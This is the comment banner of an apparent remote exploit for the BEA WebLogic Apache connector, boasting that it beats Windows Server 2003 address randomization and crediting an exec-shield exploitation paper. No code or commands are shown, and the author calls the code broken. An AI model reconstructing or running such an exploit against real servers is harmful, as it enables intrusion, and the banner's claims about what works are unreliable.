                                            #// Bea Weblogic -- Apache Connector Remote Exploit +-1day
#// Should stack break latest Windows Server 2003 <address space randomization>
#// BIG THANKS TO 
#// "dong-hun you"(Xpl017Elz) in INetCop - for his paper
#// "Title: Advanced exploitation in exec-shield (Fedora Core case study)"
#// His technique works fine against Windows 2003 latest version.
#//
#// The code is broken, since I am chilling out for now
#// SKIDDI BULLETPROOF
#// You may fixup the DoS Code, Windows Code Works on English OSs
